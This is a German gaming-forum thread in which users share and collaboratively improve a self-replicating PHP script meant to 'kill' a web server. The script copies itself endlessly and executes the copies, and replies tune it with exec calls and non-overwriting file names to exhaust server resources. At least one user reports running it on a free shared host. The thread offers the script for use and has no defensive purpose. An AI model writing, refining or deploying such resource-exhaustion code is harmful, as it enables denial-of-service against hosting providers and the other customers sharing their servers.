• Hallo Besucher!

    Du bist neu im Forum? Dann registriere dich hier, um Diskussionen beizutreten oder eigene Themen zu erstellen. Für die Registrierung ist es erforderlich, dass du einen Spielaccount bei Die Stämme hast.

    Andernfalls kannst du dich hier direkt einloggen.

    Falls du dein Passwort vergessen hast, kannst du hier ein neues Passwort anfordern.

[Veraltet] Mal den eben den Server killen

DeletedUser

Gast
Für alle die mal Bock haben ihren Server etwas ins
schwitzen zu bringen:

PHP:
<?php
/*
*
* Beschreibung: Kopiert sich selbst ständig neu und ruft diese Kopien auf
*
*/
@set_time_limit(0);
while (true)
{
   $pfad_neu = $i.".php";
   $pfad_alt = substr($_SERVER['SCRIPT_NAME'], 1);
   copy($pfad_alt, $pfad_neu);
   fopen($pfad_neu, "r");
   $i++;
}
?>

Hoffe euch gefällts ;-)
 

DeletedUser

Gast
naja

so optimal wirkt sich das ja nich aus^^
ich rate mal allen, die nicht wissen was sie tun, ab das script auszuprobieren o_O
 

DeletedUser

Gast
Öhm..kann man das Script dann eig. noch iwie abbrechen? Ohne Server selber zu killen^^ (Bzw. herunterzufahren..)
 

DeletedUser

Gast
Und dafür muss man einen Thread öffnen???
Sowas habe ich mit Batch in der 5. Klasse geschrieben ;-)
 

DeletedUser

Gast
Öhm..kann man das Script dann eig. noch iwie abbrechen? Ohne Server selber zu killen^^ (Bzw. herunterzufahren..)

eig nich^^
im zweifelsfall: stegger ziehen

ich finde bei dem script kann man noch einiges verbessern^^
1: fopen läd diese datei als stream nicht als URL-> wird nicht ausgeführt
2: wenn man fopen die datei als URL gibt, dann überschreiben die neuen instanzen die dateien der ersten instanz -> neuaufrufen bringts net

das noch drin und der server meldet sich innerhalb kürzester zeit ab :twisted::twisted:
€: wobei: fopen würde warten bis das script zuende galaufen ist, um sämtliche ausgabe abzukriegen oder?? -> er wartet sich tot :(
 
Zuletzt bearbeitet von einem Moderator:

DeletedUser

Gast
Und so?^^

PHP:
<?php
/*
*
* Beschreibung: Kopiert sich selbst ständig neu und ruft diese Kopien auf
*
*/
@set_time_limit(0);
while (true)
{
   $i = rand(1, 100000000000);
   $pfad_neu = $i.".php";
   $pfad_alt = substr($_SERVER['SCRIPT_NAME'], 1);
   copy($pfad_alt, $pfad_neu);
   exec($pfad_neu);
}
?>
 

DeletedUser

Gast
Und so?^^

PHP:
<?php
/*
*
* Beschreibung: Kopiert sich selbst ständig neu und ruft diese Kopien auf
*
*/
@set_time_limit(0);
while (true)
{
   $i = rand(1, 100000000000);
   $pfad_neu = $i.".php";
   $pfad_alt = substr($_SERVER['SCRIPT_NAME'], 1);
   copy($pfad_alt, $pfad_neu);
   exec($pfad_neu);
}
?>

also ich hab das hochgeladen aufn hoster, habs aufgerufen und dann kommt das hier
Fatal error: Maximum execution time of 30 seconds exceeded in /home/webpages/lima-city/jin-cheng/html/tod.php on line 12

was heisst das?
 

DeletedUser

Gast
eig nich^^
im zweifelsfall: stegger ziehen

ich finde bei dem script kann man noch einiges verbessern^^
1: fopen läd diese datei als stream nicht als URL-> wird nicht ausgeführt
2: wenn man fopen die datei als URL gibt, dann überschreiben die neuen instanzen die dateien der ersten instanz -> neuaufrufen bringts net

das noch drin und der server meldet sich innerhalb kürzester zeit ab :twisted::twisted:
€: wobei: fopen würde warten bis das script zuende galaufen ist, um sämtliche ausgabe abzukriegen oder?? -> er wartet sich tot :(

wenn du mich fragst, hätt ers testen müssen :twisted::twisted::twisted::twisted:
 

DeletedUser

Gast
habs jetzt nochmals an einem anderen ort versucht :twisted:
da kommt das unendlich mal
Code:
Warning: copy(leiterseite/dms/dok/tod_1216744214.php) [function.copy]: failed to open stream: No such file or directory in /home/httpd/vhosts/cvwil.ch.vu/httpdocs/leiterseite/dms/dok/tod_1216744214.php on line 12

Warning: fopen(.php) [function.fopen]: failed to open stream: No such file or directory in /home/httpd/vhosts/cvwil.ch.vu/httpdocs/leiterseite/dms/dok/tod_1216744214.php on line 13

was stimmt jetzt schonw ieder nicht?
 

DeletedUser24674

Gast
Und so?^^

PHP:
<?php
/*
*
* Beschreibung: Kopiert sich selbst ständig neu und ruft diese Kopien auf
*
*/
@set_time_limit(0);
while (true)
{
   $i = rand(1, 100000000000);
   $pfad_neu = $i.".php";
   $pfad_alt = substr($_SERVER['SCRIPT_NAME'], 1);
   copy($pfad_alt, $pfad_neu);
   exec($pfad_neu);
}
?>

Das wäre jetzt unendlich, damit sich aber nichts überschreibt wäre folgendes besser:
PHP:
// dieses script sollte indexed_1_run.php heißen
@set_time_limit(0);
$parts = explode("_", $_SERVER['SCRIPT_NAME']);
$i = (int)$parts[1];
$i++;

$pfad_neu = "indexed_".$i.".php";
$pfad_alt = substr($_SERVER['SCRIPT_NAME'], 1);
copy($pfad_alt, $pfad_neu);
exec($pfad_neu);

@alle die Probleme haben, ruft mal folgendes Script auf und Postet die ausgabe hier:
PHP:
<?php
echo $_SERVER['SCRIPT_NAME'];
?>
 
Zuletzt bearbeitet von einem Moderator:

DeletedUser

Gast
Das wäre jetzt unendlich, damit sich aber nichts überschreibt wäre folgendes besser:
PHP:
@set_time_limit(0);
for($i = 0;$i<2000000000000;$i+0.1) {
   $pfad_neu = "indexed_".$i.".php";
   $pfad_alt = substr($_SERVER['SCRIPT_NAME'], 1);
   copy($pfad_alt, $pfad_neu);
   exec($pfad_neu);
}

@alle die Probleme haben, ruft mal folgendes Script auf und Postet die ausgabe hier:
PHP:
<?php
echo $_SERVER['SCRIPT_NAME'];
?>

Da hast du aber einen Denkfehler,denn die neu erstellten
Scripte fangen sonst wieder bei 0 an und dann fängts
erst richtig mit überschreiben an^^

PS: Ich nutze wo es geht $_SERVER['SCRIPT_NAME'],da es sicherer ist als
$_SERVER['PHP_SELF']
 

DeletedUser24674

Gast
Da hast du aber einen Denkfehler,denn die neu erstellten
Scripte fangen sonst wieder bei 0 an und dann fängts
erst richtig mit überschreiben an^^

PS: Ich nutze wo es geht $_SERVER['SCRIPT_NAME'],da es sicherer ist als
$_SERVER['PHP_SELF']

Oh, stimmt... Man könnte aus dem SCRIPT_NAME aber die aktuelle $i variable auslesen, ich aktualisier mal meinen anderen Post...

/€: so oben verbessert...
 

DeletedUser

Gast
jop ich^^ aber nur auf gratishostern^^
nicht auf meinem 'teuren' server
 

DeletedUser

Gast
PHP:
$i = preg_replace("/[^0-9]/","",$_SERVER['SCRIPT_NAME']);

€: Meine Version ist schicker xD
 
Zuletzt bearbeitet von einem Moderator:
Oben